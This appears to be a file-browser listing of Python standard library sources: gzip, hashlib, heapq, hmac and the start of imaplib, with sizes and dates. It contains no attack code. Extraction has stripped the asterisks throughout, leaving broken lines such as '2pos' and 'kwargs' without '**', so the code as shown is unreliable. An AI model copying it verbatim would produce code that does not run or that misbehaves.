b"" self._new_member = False # Read a chunk of data from the file buf = self._fp.read(io.DEFAULT_BUFFER_SIZE) uncompress = self._decompressor.decompress(buf, size) if self._decompressor.unconsumed_tail != b"": self._fp.prepend(self._decompressor.unconsumed_tail) elif self._decompressor.unused_data != b"": # Prepend the already read bytes to the fileobj so they can # be seen by _read_eof() and _read_gzip_header() self._fp.prepend(self._decompressor.unused_data) if uncompress != b"": break if buf == b"": raise EOFError("Compressed file ended before the " "end-of-stream marker was reached") self._add_read_data( uncompress ) self._pos += len(uncompress) return uncompress def _add_read_data(self, data): self._crc = zlib.crc32(data, self._crc) self._stream_size = self._stream_size + len(data) def _read_eof(self): # We've read to the end of the file # We check the that the computed CRC and size of the # uncompressed data matches the stored values. Note that the size # stored is the true file size mod 232. crc32, isize = struct.unpack("<II", self._read_exact(8)) if crc32 != self._crc: raise OSError("CRC check failed %s != %s" % (hex(crc32), hex(self._crc))) elif isize != (self._stream_size & 0xffffffff): raise OSError("Incorrect length of data produced") # Gzip files can be padded with zeroes and still have archives. # Consume all zero bytes and set the file position to the first # non-zero byte. See http://www.gzip.org/#faq8 c = b"\x00" while c == b"\x00": c = self._fp.read(1) if c: self._fp.prepend(c) def _rewind(self): super()._rewind() self._new_member = True def compress(data, compresslevel=9): """Compress data in one shot and return the compressed string. Optional argument is the compression level, in range of 0-9. """ buf = io.BytesIO() with GzipFile(fileobj=buf, mode='wb', compresslevel=compresslevel) as f: f.write(data) return buf.getvalue() def decompress(data): """Decompress a gzip compressed string in one shot. Return the decompressed string. """ with GzipFile(fileobj=io.BytesIO(data)) as f: return f.read() def _test(): # Act like gzip; with -d, act like gunzip. # The input file is not deleted, however, nor are any other gzip # options or features supported. args = sys.argv[1:] decompress = args and args[0] == "-d" if decompress: args = args[1:] if not args: args = ["-"] for arg in args: if decompress: if arg == "-": f = GzipFile(filename="", mode="rb", fileobj=sys.stdin.buffer) g = sys.stdout.buffer else: if arg[-3:] != ".gz": print("filename doesn't end in .gz:", repr(arg)) continue f = open(arg, "rb") g = builtins.open(arg[:-3], "wb") else: if arg == "-": f = sys.stdin.buffer g = GzipFile(filename="", mode="wb", fileobj=sys.stdout.buffer) else: f = builtins.open(arg, "rb") g = open(arg + ".gz", "wb") while True: chunk = f.read(1024) if not chunk: break g.write(chunk) if g is not sys.stdout.buffer: g.close() if f is not sys.stdin.buffer: f.close() if __name__ == '__main__': _test()	20.15 KB	2024-04-17 17:55
📄 hashlib.py #. Copyright (C) 2005-2010 Gregory P. Smith (greg@krypto.org) # Licensed to PSF under a Contributor Agreement. # __doc__ = """hashlib module - A common interface to many hash functions. new(name, data=b'', kwargs) - returns a new hash object implementing the given hash function; initializing the hash using the given binary data. Named constructor functions are also available, these are faster than using new(name): md5(), sha1(), sha224(), sha256(), sha384(), sha512(), blake2b(), blake2s(), sha3_224, sha3_256, sha3_384, sha3_512, shake_128, and shake_256. More algorithms may be available on your platform but the above are guaranteed to exist. See the algorithms_guaranteed and algorithms_available attributes to find out what algorithm names can be passed to new(). NOTE: If you want the adler32 or crc32 hash functions they are available in the zlib module. Choose your hash function wisely. Some have known collision weaknesses. sha384 and sha512 will be slow on 32 bit platforms. Hash objects have these methods: - update(data): Update the hash object with the bytes in data. Repeated calls are equivalent to a single call with the concatenation of all the arguments. - digest(): Return the digest of the bytes passed to the update() method so far as a bytes object. - hexdigest(): Like digest() except the digest is returned as a string of double length, containing only hexadecimal digits. - copy(): Return a copy (clone) of the hash object. This can be used to efficiently compute the digests of datas that share a common initial substring. For example, to obtain the digest of the byte string 'Nobody inspects the spammish repetition': >>> import hashlib >>> m = hashlib.md5() >>> m.update(b"Nobody inspects") >>> m.update(b" the spammish repetition") >>> m.digest() b'\\xbbd\\x9c\\x83\\xdd\\x1e\\xa5\\xc9\\xd9\\xde\\xc9\\xa1\\x8d\\xf0\\xff\\xe9' More condensed: >>> hashlib.sha224(b"Nobody inspects the spammish repetition").hexdigest() 'a4337bc45a8fc544c03f52dc550cd6e1e87021bc896588bd79e901e2' """ # This tuple and __get_builtin_constructor() must be modified if a new # always available algorithm is added. __always_supported = ('md5', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512', 'blake2b', 'blake2s', 'sha3_224', 'sha3_256', 'sha3_384', 'sha3_512', 'shake_128', 'shake_256') algorithms_guaranteed = set(__always_supported) algorithms_available = set(__always_supported) __all__ = __always_supported + ('new', 'algorithms_guaranteed', 'algorithms_available', 'pbkdf2_hmac') __builtin_constructor_cache = {} def __get_builtin_constructor(name): cache = __builtin_constructor_cache constructor = cache.get(name) if constructor is not None: return constructor try: if name in ('SHA1', 'sha1'): import _sha1 cache['SHA1'] = cache['sha1'] = _sha1.sha1 elif name in ('MD5', 'md5'): import _md5 cache['MD5'] = cache['md5'] = _md5.md5 elif name in ('SHA256', 'sha256', 'SHA224', 'sha224'): import _sha256 cache['SHA224'] = cache['sha224'] = _sha256.sha224 cache['SHA256'] = cache['sha256'] = _sha256.sha256 elif name in ('SHA512', 'sha512', 'SHA384', 'sha384'): import _sha512 cache['SHA384'] = cache['sha384'] = _sha512.sha384 cache['SHA512'] = cache['sha512'] = _sha512.sha512 elif name in ('blake2b', 'blake2s'): import _blake2 cache['blake2b'] = _blake2.blake2b cache['blake2s'] = _blake2.blake2s elif name in {'sha3_224', 'sha3_256', 'sha3_384', 'sha3_512', 'shake_128', 'shake_256'}: import _sha3 cache['sha3_224'] = _sha3.sha3_224 cache['sha3_256'] = _sha3.sha3_256 cache['sha3_384'] = _sha3.sha3_384 cache['sha3_512'] = _sha3.sha3_512 cache['shake_128'] = _sha3.shake_128 cache['shake_256'] = _sha3.shake_256 except ImportError: pass # no extension module, this hash is unsupported. constructor = cache.get(name) if constructor is not None: return constructor raise ValueError('unsupported hash type ' + name) def __get_openssl_constructor(name): if name in {'blake2b', 'blake2s'}: # Prefer our blake2 implementation. return __get_builtin_constructor(name) try: f = getattr(_hashlib, 'openssl_' + name) # Allow the C module to raise ValueError. The function will be # defined but the hash not actually available thanks to OpenSSL. f() # Use the C function directly (very fast) return f except (AttributeError, ValueError): return __get_builtin_constructor(name) def __py_new(name, data=b'', kwargs): """new(name, data=b'', kwargs) - Return a new hashing object using the named algorithm; optionally initialized with data (which must be a bytes-like object). """ return __get_builtin_constructor(name)(data, kwargs) def __hash_new(name, data=b'', kwargs): """new(name, data=b'') - Return a new hashing object using the named algorithm; optionally initialized with data (which must be a bytes-like object). """ if name in {'blake2b', 'blake2s'}: # Prefer our blake2 implementation. # OpenSSL 1.1.0 comes with a limited implementation of blake2b/s. # It does neither support keyed blake2 nor advanced features like # salt, personal, tree hashing or SSE. return __get_builtin_constructor(name)(data, kwargs) try: return _hashlib.new(name, data) except ValueError: # If the _hashlib module (OpenSSL) doesn't support the named # hash, try using our builtin implementations. # This allows for SHA224/256 and SHA384/512 support even though # the OpenSSL library prior to 0.9.8 doesn't provide them. return __get_builtin_constructor(name)(data) try: import _hashlib new = __hash_new __get_hash = __get_openssl_constructor algorithms_available = algorithms_available.union( _hashlib.openssl_md_meth_names) except ImportError: new = __py_new __get_hash = __get_builtin_constructor try: # OpenSSL's PKCS5_PBKDF2_HMAC requires OpenSSL 1.0+ with HMAC and SHA from _hashlib import pbkdf2_hmac except ImportError: _trans_5C = bytes((x ^ 0x5C) for x in range(256)) _trans_36 = bytes((x ^ 0x36) for x in range(256)) def pbkdf2_hmac(hash_name, password, salt, iterations, dklen=None): """Password based key derivation function 2 (PKCS #5 v2.0) This Python implementations based on the hmac module about as fast as OpenSSL's PKCS5_PBKDF2_HMAC for short passwords and much faster for long passwords. """ if not isinstance(hash_name, str): raise TypeError(hash_name) if not isinstance(password, (bytes, bytearray)): password = bytes(memoryview(password)) if not isinstance(salt, (bytes, bytearray)): salt = bytes(memoryview(salt)) # Fast inline HMAC implementation inner = new(hash_name) outer = new(hash_name) blocksize = getattr(inner, 'block_size', 64) if len(password) > blocksize: password = new(hash_name, password).digest() password = password + b'\x00' * (blocksize - len(password)) inner.update(password.translate(_trans_36)) outer.update(password.translate(_trans_5C)) def prf(msg, inner=inner, outer=outer): # PBKDF2_HMAC uses the password as key. We can re-use the same # digest objects and just update copies to skip initialization. icpy = inner.copy() ocpy = outer.copy() icpy.update(msg) ocpy.update(icpy.digest()) return ocpy.digest() if iterations < 1: raise ValueError(iterations) if dklen is None: dklen = outer.digest_size if dklen < 1: raise ValueError(dklen) dkey = b'' loop = 1 from_bytes = int.from_bytes while len(dkey) < dklen: prev = prf(salt + loop.to_bytes(4, 'big')) # endianness doesn't matter here as long to / from use the same rkey = int.from_bytes(prev, 'big') for i in range(iterations - 1): prev = prf(prev) # rkey = rkey ^ prev rkey ^= from_bytes(prev, 'big') loop += 1 dkey += rkey.to_bytes(inner.digest_size, 'big') return dkey[:dklen] try: # OpenSSL's scrypt requires OpenSSL 1.1+ from _hashlib import scrypt except ImportError: pass for __func_name in __always_supported: # try them all, some may not work due to the OpenSSL # version not supporting that algorithm. try: globals()[__func_name] = __get_hash(__func_name) except ValueError: import logging logging.exception('code for hash %s was not found.', __func_name) # Cleanup locals() del __always_supported, __func_name, __get_hash del __py_new, __hash_new, __get_openssl_constructor	9.31 KB	2024-04-17 17:55
📄 heapq.py """Heap queue algorithm (a.k.a. priority queue). Heaps are arrays for which a[k] <= a[2k+1] and a[k] <= a[2k+2] for all k, counting elements from 0. For the sake of comparison, non-existing elements are considered to be infinite. The interesting property of a heap is that a[0] is always its smallest element. Usage: heap = [] # creates an empty heap heappush(heap, item) # pushes a new item on the heap item = heappop(heap) # pops the smallest item from the heap item = heap[0] # smallest item on the heap without popping it heapify(x) # transforms list into a heap, in-place, in linear time item = heapreplace(heap, item) # pops and returns smallest item, and adds # new item; the heap size is unchanged Our API differs from textbook heap algorithms as follows: - We use 0-based indexing. This makes the relationship between the index for a node and the indexes for its children slightly less obvious, but is more suitable since Python uses 0-based indexing. - Our heappop() method returns the smallest item, not the largest. These two make it possible to view the heap as a regular Python list without surprises: heap[0] is the smallest item, and heap.sort() maintains the heap invariant! """ # Original code by Kevin O'Connor, augmented by Tim Peters and Raymond Hettinger __about__ = """Heap queues [explanation by François Pinard] Heaps are arrays for which a[k] <= a[2k+1] and a[k] <= a[2k+2] for all k, counting elements from 0. For the sake of comparison, non-existing elements are considered to be infinite. The interesting property of a heap is that a[0] is always its smallest element. The strange invariant above is meant to be an efficient memory representation for a tournament. The numbers below are `k', not a[k]: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 In the tree above, each cell `k' is topping `2k+1' and `2k+2'. In a usual binary tournament we see in sports, each cell is the winner over the two cells it tops, and we can trace the winner down the tree to see all opponents s/he had. However, in many computer applications of such tournaments, we do not need to trace the history of a winner. To be more memory efficient, when a winner is promoted, we try to replace it by something else at a lower level, and the rule becomes that a cell and the two cells it tops contain three different items, but the top cell "wins" over the two topped cells. If this heap invariant is protected at all time, index 0 is clearly the overall winner. The simplest algorithmic way to remove it and find the "next" winner is to move some loser (let's say cell 30 in the diagram above) into the 0 position, and then percolate this new 0 down the tree, exchanging values, until the invariant is re-established. This is clearly logarithmic on the total number of items in the tree. By iterating over all items, you get an O(n ln n) sort. A nice feature of this sort is that you can efficiently insert new items while the sort is going on, provided that the inserted items are not "better" than the last 0'th element you extracted. This is especially useful in simulation contexts, where the tree holds all incoming events, and the "win" condition means the smallest scheduled time. When an event schedule other events for execution, they are scheduled into the future, so they can easily go into the heap. So, a heap is a good structure for implementing schedulers (this is what I used for my MIDI sequencer :-). Various structures for implementing schedulers have been extensively studied, and heaps are good for this, as they are reasonably speedy, the speed is almost constant, and the worst case is not much different than the average case. However, there are other representations which are more efficient overall, yet the worst cases might be terrible. Heaps are also very useful in big disk sorts. You most probably all know that a big sort implies producing "runs" (which are pre-sorted sequences, which size is usually related to the amount of CPU memory), followed by a merging passes for these runs, which merging is often very cleverly organised[1]. It is very important that the initial sort produces the longest runs possible. Tournaments are a good way to that. If, using all the memory available to hold a tournament, you replace and percolate items that happen to fit the current run, you'll produce runs which are twice the size of the memory for random input, and much better for input fuzzily ordered. Moreover, if you output the 0'th item on disk and get an input which may not fit in the current tournament (because the value "wins" over the last output value), it cannot fit in the heap, so the size of the heap decreases. The freed memory could be cleverly reused immediately for progressively building a second heap, which grows at exactly the same rate the first heap is melting. When the first heap completely vanishes, you switch heaps and start a new run. Clever and quite effective! In a word, heaps are useful memory structures to know. I use them in a few applications, and I think it is good to keep a `heap' module around. :-) -------------------- [1] The disk balancing algorithms which are current, nowadays, are more annoying than clever, and this is a consequence of the seeking capabilities of the disks. On devices which cannot seek, like big tape drives, the story was quite different, and one had to be very clever to ensure (far in advance) that each tape movement will be the most effective possible (that is, will best participate at "progressing" the merge). Some tapes were even able to read backwards, and this was also used to avoid the rewinding time. Believe me, real good tape sorts were quite spectacular to watch! From all times, sorting has always been a Great Art! :-) """ __all__ = ['heappush', 'heappop', 'heapify', 'heapreplace', 'merge', 'nlargest', 'nsmallest', 'heappushpop'] def heappush(heap, item): """Push item onto heap, maintaining the heap invariant.""" heap.append(item) _siftdown(heap, 0, len(heap)-1) def heappop(heap): """Pop the smallest item off the heap, maintaining the heap invariant.""" lastelt = heap.pop() # raises appropriate IndexError if heap is empty if heap: returnitem = heap[0] heap[0] = lastelt _siftup(heap, 0) return returnitem return lastelt def heapreplace(heap, item): """Pop and return the current smallest value, and add the new item. This is more efficient than heappop() followed by heappush(), and can be more appropriate when using a fixed-size heap. Note that the value returned may be larger than item! That constrains reasonable uses of this routine unless written as part of a conditional replacement: if item > heap[0]: item = heapreplace(heap, item) """ returnitem = heap[0] # raises appropriate IndexError if heap is empty heap[0] = item _siftup(heap, 0) return returnitem def heappushpop(heap, item): """Fast version of a heappush followed by a heappop.""" if heap and heap[0] < item: item, heap[0] = heap[0], item _siftup(heap, 0) return item def heapify(x): """Transform list into a heap, in-place, in O(len(x)) time.""" n = len(x) # Transform bottom-up. The largest index there's any point to looking at # is the largest with a child index in-range, so must have 2i + 1 < n, # or i < (n-1)/2. If n is even = 2j, this is (2j-1)/2 = j-1/2 so # j-1 is the largest, which is n//2 - 1. If n is odd = 2j+1, this is # (2j+1-1)/2 = j so j-1 is the largest, and that's again n//2-1. for i in reversed(range(n//2)): _siftup(x, i) def _heappop_max(heap): """Maxheap version of a heappop.""" lastelt = heap.pop() # raises appropriate IndexError if heap is empty if heap: returnitem = heap[0] heap[0] = lastelt _siftup_max(heap, 0) return returnitem return lastelt def _heapreplace_max(heap, item): """Maxheap version of a heappop followed by a heappush.""" returnitem = heap[0] # raises appropriate IndexError if heap is empty heap[0] = item _siftup_max(heap, 0) return returnitem def _heapify_max(x): """Transform list into a maxheap, in-place, in O(len(x)) time.""" n = len(x) for i in reversed(range(n//2)): _siftup_max(x, i) # 'heap' is a heap at all indices >= startpos, except possibly for pos. pos # is the index of a leaf with a possibly out-of-order value. Restore the # heap invariant. def _siftdown(heap, startpos, pos): newitem = heap[pos] # Follow the path to the root, moving parents down until finding a place # newitem fits. while pos > startpos: parentpos = (pos - 1) >> 1 parent = heap[parentpos] if newitem < parent: heap[pos] = parent pos = parentpos continue break heap[pos] = newitem # The child indices of heap index pos are already heaps, and we want to make # a heap at index pos too. We do this by bubbling the smaller child of # pos up (and so on with that child's children, etc) until hitting a leaf, # then using _siftdown to move the oddball originally at index pos into place. # # We could* break out of the loop as soon as we find a pos where newitem <= # both its children, but turns out that's not a good idea, and despite that # many books write the algorithm that way. During a heap pop, the last array # element is sifted in, and that tends to be large, so that comparing it # against values starting from the root usually doesn't pay (= usually doesn't # get us out of the loop early). See Knuth, Volume 3, where this is # explained and quantified in an exercise. # # Cutting the # of comparisons is important, since these routines have no # way to extract "the priority" from an array element, so that intelligence # is likely to be hiding in custom comparison methods, or in array elements # storing (priority, record) tuples. Comparisons are thus potentially # expensive. # # On random arrays of length 1000, making this change cut the number of # comparisons made by heapify() a little, and those made by exhaustive # heappop() a lot, in accord with theory. Here are typical results from 3 # runs (3 just to demonstrate how small the variance is): # # Compares needed by heapify Compares needed by 1000 heappops # -------------------------- -------------------------------- # 1837 cut to 1663 14996 cut to 8680 # 1855 cut to 1659 14966 cut to 8678 # 1847 cut to 1660 15024 cut to 8703 # # Building the heap by using heappush() 1000 times instead required # 2198, 2148, and 2219 compares: heapify() is more efficient, when # you can use it. # # The total compares needed by list.sort() on the same lists were 8627, # 8627, and 8632 (this should be compared to the sum of heapify() and # heappop() compares): list.sort() is (unsurprisingly!) more efficient # for sorting. def _siftup(heap, pos): endpos = len(heap) startpos = pos newitem = heap[pos] # Bubble up the smaller child until hitting a leaf. childpos = 2pos + 1 # leftmost child position while childpos < endpos: # Set childpos to index of smaller child. rightpos = childpos + 1 if rightpos < endpos and not heap[childpos] < heap[rightpos]: childpos = rightpos # Move the smaller child up. heap[pos] = heap[childpos] pos = childpos childpos = 2pos + 1 # The leaf at pos is empty now. Put newitem there, and bubble it up # to its final resting place (by sifting its parents down). heap[pos] = newitem _siftdown(heap, startpos, pos) def _siftdown_max(heap, startpos, pos): 'Maxheap variant of _siftdown' newitem = heap[pos] # Follow the path to the root, moving parents down until finding a place # newitem fits. while pos > startpos: parentpos = (pos - 1) >> 1 parent = heap[parentpos] if parent < newitem: heap[pos] = parent pos = parentpos continue break heap[pos] = newitem def _siftup_max(heap, pos): 'Maxheap variant of _siftup' endpos = len(heap) startpos = pos newitem = heap[pos] # Bubble up the larger child until hitting a leaf. childpos = 2pos + 1 # leftmost child position while childpos < endpos: # Set childpos to index of larger child. rightpos = childpos + 1 if rightpos < endpos and not heap[rightpos] < heap[childpos]: childpos = rightpos # Move the larger child up. heap[pos] = heap[childpos] pos = childpos childpos = 2pos + 1 # The leaf at pos is empty now. Put newitem there, and bubble it up # to its final resting place (by sifting its parents down). heap[pos] = newitem _siftdown_max(heap, startpos, pos) def merge(iterables, key=None, reverse=False): '''Merge multiple sorted inputs into a single sorted output. Similar to sorted(itertools.chain(iterables)) but returns a generator, does not pull the data into memory all at once, and assumes that each of the input streams is already sorted (smallest to largest). >>> list(merge([1,3,5,7], [0,2,4,8], [5,10,15,20], [], [25])) [0, 1, 2, 3, 4, 5, 5, 7, 8, 10, 15, 20, 25] If key is not None, applies a key function to each element to determine its sort order. >>> list(merge(['dog', 'horse'], ['cat', 'fish', 'kangaroo'], key=len)) ['dog', 'cat', 'fish', 'horse', 'kangaroo'] ''' h = [] h_append = h.append if reverse: _heapify = _heapify_max _heappop = _heappop_max _heapreplace = _heapreplace_max direction = -1 else: _heapify = heapify _heappop = heappop _heapreplace = heapreplace direction = 1 if key is None: for order, it in enumerate(map(iter, iterables)): try: next = it.__next__ h_append([next(), order * direction, next]) except StopIteration: pass _heapify(h) while len(h) > 1: try: while True: value, order, next = s = h[0] yield value s[0] = next() # raises StopIteration when exhausted _heapreplace(h, s) # restore heap condition except StopIteration: _heappop(h) # remove empty iterator if h: # fast case when only a single iterator remains value, order, next = h[0] yield value yield from next.__self__ return for order, it in enumerate(map(iter, iterables)): try: next = it.__next__ value = next() h_append([key(value), order * direction, value, next]) except StopIteration: pass _heapify(h) while len(h) > 1: try: while True: key_value, order, value, next = s = h[0] yield value value = next() s[0] = key(value) s[2] = value _heapreplace(h, s) except StopIteration: _heappop(h) if h: key_value, order, value, next = h[0] yield value yield from next.__self__ # Algorithm notes for nlargest() and nsmallest() # ============================================== # # Make a single pass over the data while keeping the k most extreme values # in a heap. Memory consumption is limited to keeping k values in a list. # # Measured performance for random inputs: # # number of comparisons # n inputs k-extreme values (average of 5 trials) % more than min() # ------------- ---------------- --------------------- ----------------- # 1,000 100 3,317 231.7% # 10,000 100 14,046 40.5% # 100,000 100 105,749 5.7% # 1,000,000 100 1,007,751 0.8% # 10,000,000 100 10,009,401 0.1% # # Theoretical number of comparisons for k smallest of n random inputs: # # Step Comparisons Action # ---- -------------------------- --------------------------- # 1 1.66 * k heapify the first k-inputs # 2 n - k compare remaining elements to top of heap # 3 k * (1 + lg2(k)) * ln(n/k) replace the topmost value on the heap # 4 k * lg2(k) - (k/2) final sort of the k most extreme values # # Combining and simplifying for a rough estimate gives: # # comparisons = n + k * (log(k, 2) * log(n/k) + log(k, 2) + log(n/k)) # # Computing the number of comparisons for step 3: # ----------------------------------------------- # * For the i-th new value from the iterable, the probability of being in the # k most extreme values is k/i. For example, the probability of the 101st # value seen being in the 100 most extreme values is 100/101. # * If the value is a new extreme value, the cost of inserting it into the # heap is 1 + log(k, 2). # * The probability times the cost gives: # (k/i) * (1 + log(k, 2)) # * Summing across the remaining n-k elements gives: # sum((k/i) * (1 + log(k, 2)) for i in range(k+1, n+1)) # * This reduces to: # (H(n) - H(k)) * k * (1 + log(k, 2)) # * Where H(n) is the n-th harmonic number estimated by: # gamma = 0.5772156649 # H(n) = log(n, e) + gamma + 1 / (2 * n) # http://en.wikipedia.org/wiki/Harmonic_series_(mathematics)#Rate_of_divergence # * Substituting the H(n) formula: # comparisons = k * (1 + log(k, 2)) * (log(n/k, e) + (1/n - 1/k) / 2) # # Worst-case for step 3: # ---------------------- # In the worst case, the input data is reversed sorted so that every new element # must be inserted in the heap: # # comparisons = 1.66 * k + log(k, 2) * (n - k) # # Alternative Algorithms # ---------------------- # Other algorithms were not used because they: # 1) Took much more auxiliary memory, # 2) Made multiple passes over the data. # 3) Made more comparisons in common cases (small k, large n, semi-random input). # See the more detailed comparison of approach at: # http://code.activestate.com/recipes/577573-compare-algorithms-for-heapqsmallest def nsmallest(n, iterable, key=None): """Find the n smallest elements in a dataset. Equivalent to: sorted(iterable, key=key)[:n] """ # Short-cut for n==1 is to use min() if n == 1: it = iter(iterable) sentinel = object() if key is None: result = min(it, default=sentinel) else: result = min(it, default=sentinel, key=key) return [] if result is sentinel else [result] # When n>=size, it's faster to use sorted() try: size = len(iterable) except (TypeError, AttributeError): pass else: if n >= size: return sorted(iterable, key=key)[:n] # When key is none, use simpler decoration if key is None: it = iter(iterable) # put the range(n) first so that zip() doesn't # consume one too many elements from the iterator result = [(elem, i) for i, elem in zip(range(n), it)] if not result: return result _heapify_max(result) top = result[0][0] order = n _heapreplace = _heapreplace_max for elem in it: if elem < top: _heapreplace(result, (elem, order)) top, _order = result[0] order += 1 result.sort() return [elem for (elem, order) in result] # General case, slowest method it = iter(iterable) result = [(key(elem), i, elem) for i, elem in zip(range(n), it)] if not result: return result _heapify_max(result) top = result[0][0] order = n _heapreplace = _heapreplace_max for elem in it: k = key(elem) if k < top: _heapreplace(result, (k, order, elem)) top, _order, _elem = result[0] order += 1 result.sort() return [elem for (k, order, elem) in result] def nlargest(n, iterable, key=None): """Find the n largest elements in a dataset. Equivalent to: sorted(iterable, key=key, reverse=True)[:n] """ # Short-cut for n==1 is to use max() if n == 1: it = iter(iterable) sentinel = object() if key is None: result = max(it, default=sentinel) else: result = max(it, default=sentinel, key=key) return [] if result is sentinel else [result] # When n>=size, it's faster to use sorted() try: size = len(iterable) except (TypeError, AttributeError): pass else: if n >= size: return sorted(iterable, key=key, reverse=True)[:n] # When key is none, use simpler decoration if key is None: it = iter(iterable) result = [(elem, i) for i, elem in zip(range(0, -n, -1), it)] if not result: return result heapify(result) top = result[0][0] order = -n _heapreplace = heapreplace for elem in it: if top < elem: _heapreplace(result, (elem, order)) top, _order = result[0] order -= 1 result.sort(reverse=True) return [elem for (elem, order) in result] # General case, slowest method it = iter(iterable) result = [(key(elem), i, elem) for i, elem in zip(range(0, -n, -1), it)] if not result: return result heapify(result) top = result[0][0] order = -n _heapreplace = heapreplace for elem in it: k = key(elem) if top < k: _heapreplace(result, (k, order, elem)) top, _order, _elem = result[0] order -= 1 result.sort(reverse=True) return [elem for (k, order, elem) in result] # If available, use C implementation try: from _heapq import * except ImportError: pass try: from _heapq import _heapreplace_max except ImportError: pass try: from _heapq import _heapify_max except ImportError: pass try: from _heapq import _heappop_max except ImportError: pass if __name__ == "__main__": import doctest print(doctest.testmod())	22.48 KB	2024-04-17 17:55
📄 hmac.py """HMAC (Keyed-Hashing for Message Authentication) Python module. Implements the HMAC algorithm as described by RFC 2104. """ import warnings as _warnings from _operator import _compare_digest as compare_digest try: import _hashlib as _hashopenssl except ImportError: _hashopenssl = None _openssl_md_meths = None else: _openssl_md_meths = frozenset(_hashopenssl.openssl_md_meth_names) import hashlib as _hashlib trans_5C = bytes((x ^ 0x5C) for x in range(256)) trans_36 = bytes((x ^ 0x36) for x in range(256)) # The size of the digests returned by HMAC depends on the underlying # hashing module used. Use digest_size from the instance of HMAC instead. digest_size = None class HMAC: """RFC 2104 HMAC class. Also complies with RFC 4231. This supports the API for Cryptographic Hash Functions (PEP 247). """ blocksize = 64 # 512-bit HMAC; can be changed in subclasses. def __init__(self, key, msg = None, digestmod = None): """Create a new HMAC object. key: key for the keyed hash object. msg: Initial input for the hash, if provided. digestmod: A module supporting PEP 247. OR A hashlib constructor returning a new hash object. OR A hash name suitable for hashlib.new(). Defaults to hashlib.md5. Implicit default to hashlib.md5 is deprecated since Python 3.4 and will be removed in Python 3.8. Note: key and msg must be a bytes or bytearray objects. """ if not isinstance(key, (bytes, bytearray)): raise TypeError("key: expected bytes or bytearray, but got %r" % type(key).__name__) if digestmod is None: _warnings.warn("HMAC() without an explicit digestmod argument " "is deprecated since Python 3.4, and will be removed " "in 3.8", DeprecationWarning, 2) digestmod = _hashlib.md5 if callable(digestmod): self.digest_cons = digestmod elif isinstance(digestmod, str): self.digest_cons = lambda d=b'': _hashlib.new(digestmod, d) else: self.digest_cons = lambda d=b'': digestmod.new(d) self.outer = self.digest_cons() self.inner = self.digest_cons() self.digest_size = self.inner.digest_size if hasattr(self.inner, 'block_size'): blocksize = self.inner.block_size if blocksize < 16: _warnings.warn('block_size of %d seems too small; using our ' 'default of %d.' % (blocksize, self.blocksize), RuntimeWarning, 2) blocksize = self.blocksize else: _warnings.warn('No block_size attribute on given digest object; ' 'Assuming %d.' % (self.blocksize), RuntimeWarning, 2) blocksize = self.blocksize # self.blocksize is the default blocksize. self.block_size is # effective block size as well as the public API attribute. self.block_size = blocksize if len(key) > blocksize: key = self.digest_cons(key).digest() key = key.ljust(blocksize, b'\0') self.outer.update(key.translate(trans_5C)) self.inner.update(key.translate(trans_36)) if msg is not None: self.update(msg) @property def name(self): return "hmac-" + self.inner.name def update(self, msg): """Update this hashing object with the string msg. """ self.inner.update(msg) def copy(self): """Return a separate copy of this hashing object. An update to this copy won't affect the original object. """ # Call __new__ directly to avoid the expensive __init__. other = self.__class__.__new__(self.__class__) other.digest_cons = self.digest_cons other.digest_size = self.digest_size other.inner = self.inner.copy() other.outer = self.outer.copy() return other def _current(self): """Return a hash object for the current state. To be used only internally with digest() and hexdigest(). """ h = self.outer.copy() h.update(self.inner.digest()) return h def digest(self): """Return the hash value of this hashing object. This returns a string containing 8-bit data. The object is not altered in any way by this function; you can continue updating the object after calling this function. """ h = self._current() return h.digest() def hexdigest(self): """Like digest(), but returns a string of hexadecimal digits instead. """ h = self._current() return h.hexdigest() def new(key, msg = None, digestmod = None): """Create a new hashing object and return it. key: The starting key for the hash. msg: if available, will immediately be hashed into the object's starting state. You can now feed arbitrary strings into the object using its update() method, and can ask for the hash value at any time by calling its digest() method. """ return HMAC(key, msg, digestmod) def digest(key, msg, digest): """Fast inline implementation of HMAC key: key for the keyed hash object. msg: input message digest: A hash name suitable for hashlib.new() for best performance. OR A hashlib constructor returning a new hash object. OR A module supporting PEP 247. Note: key and msg must be a bytes or bytearray objects. """ if (_hashopenssl is not None and isinstance(digest, str) and digest in _openssl_md_meths): return _hashopenssl.hmac_digest(key, msg, digest) if callable(digest): digest_cons = digest elif isinstance(digest, str): digest_cons = lambda d=b'': _hashlib.new(digest, d) else: digest_cons = lambda d=b'': digest.new(d) inner = digest_cons() outer = digest_cons() blocksize = getattr(inner, 'block_size', 64) if len(key) > blocksize: key = digest_cons(key).digest() key = key + b'\x00' * (blocksize - len(key)) inner.update(key.translate(trans_36)) outer.update(key.translate(trans_5C)) inner.update(msg) outer.update(inner.digest()) return outer.digest()	6.36 KB	2024-04-17 17:55
📁 html	-	2025-10-13 08:00
📁 http	-	2025-10-13 08:00
📁 idlelib	-	2025-10-13 08:00
📄 imaplib.py """IMAP4 client. Based on RFC 2060. Public class: IMAP4 Public variable: Debug Public functions: Internaldate2tuple Int2AP ParseFlags Time2Internaldate """ # Author: Piers Lauder <piers@cs.su.oz.au> December 1997. # # Authentication code contributed by Donn Cave <donn@u.washington.edu> June 1998. # String method conversion by ESR, February 2001. # GET/SETACL contributed by Anthony Baxter <anthony@interlink.com.au> April 2001. # IMAP4_SSL contributed by Tino Lange <Tino.Lange@isg.de> March 2002. # GET/SETQUOTA contributed by Andreas Zeidler <az@kreativkombinat.de> June 2002. # PROXYAUTH contributed by Rick Holbert <holbert.13@osu.edu> November 2002. # GET/SETANNOTATION contributed by Tomas Lindroos <skitta@abo.fi> June 2005. __version__ = "2.58" import binascii, errno, random, re, socket, subprocess, sys, time, calendar from datetime import datetime, timezone, timedelta from io import DEFAULT_BUFFER_SIZE try: import ssl HAVE_SSL = True except ImportError: HAVE_SSL = False __all__ = ["IMAP4", "IMAP4_stream", "Internaldate2tuple", "Int2AP", "ParseFlags", "Time2Internaldate"] # Globals CRLF = b'\r\n' Debug = 0 IMAP4_PORT = 143 IMAP4_SSL_PORT = 993 AllowedVersions = ('IMAP4REV1', 'IMAP4') # Most recent first # Maximal line length when calling readline(). This is to prevent # reading arbitrary length lines. RFC 3501 and 2060 (IMAP 4rev1) # don't specify a line length. RFC 2683 suggests limiting client # command lines to 1000 octets and that servers should be prepared # to accept command lines up to 8000 octets, so we used to use 10K here. # In the modern world (eg: gmail) the response to, for example, a # search command can be quite large, so we now use 1M. 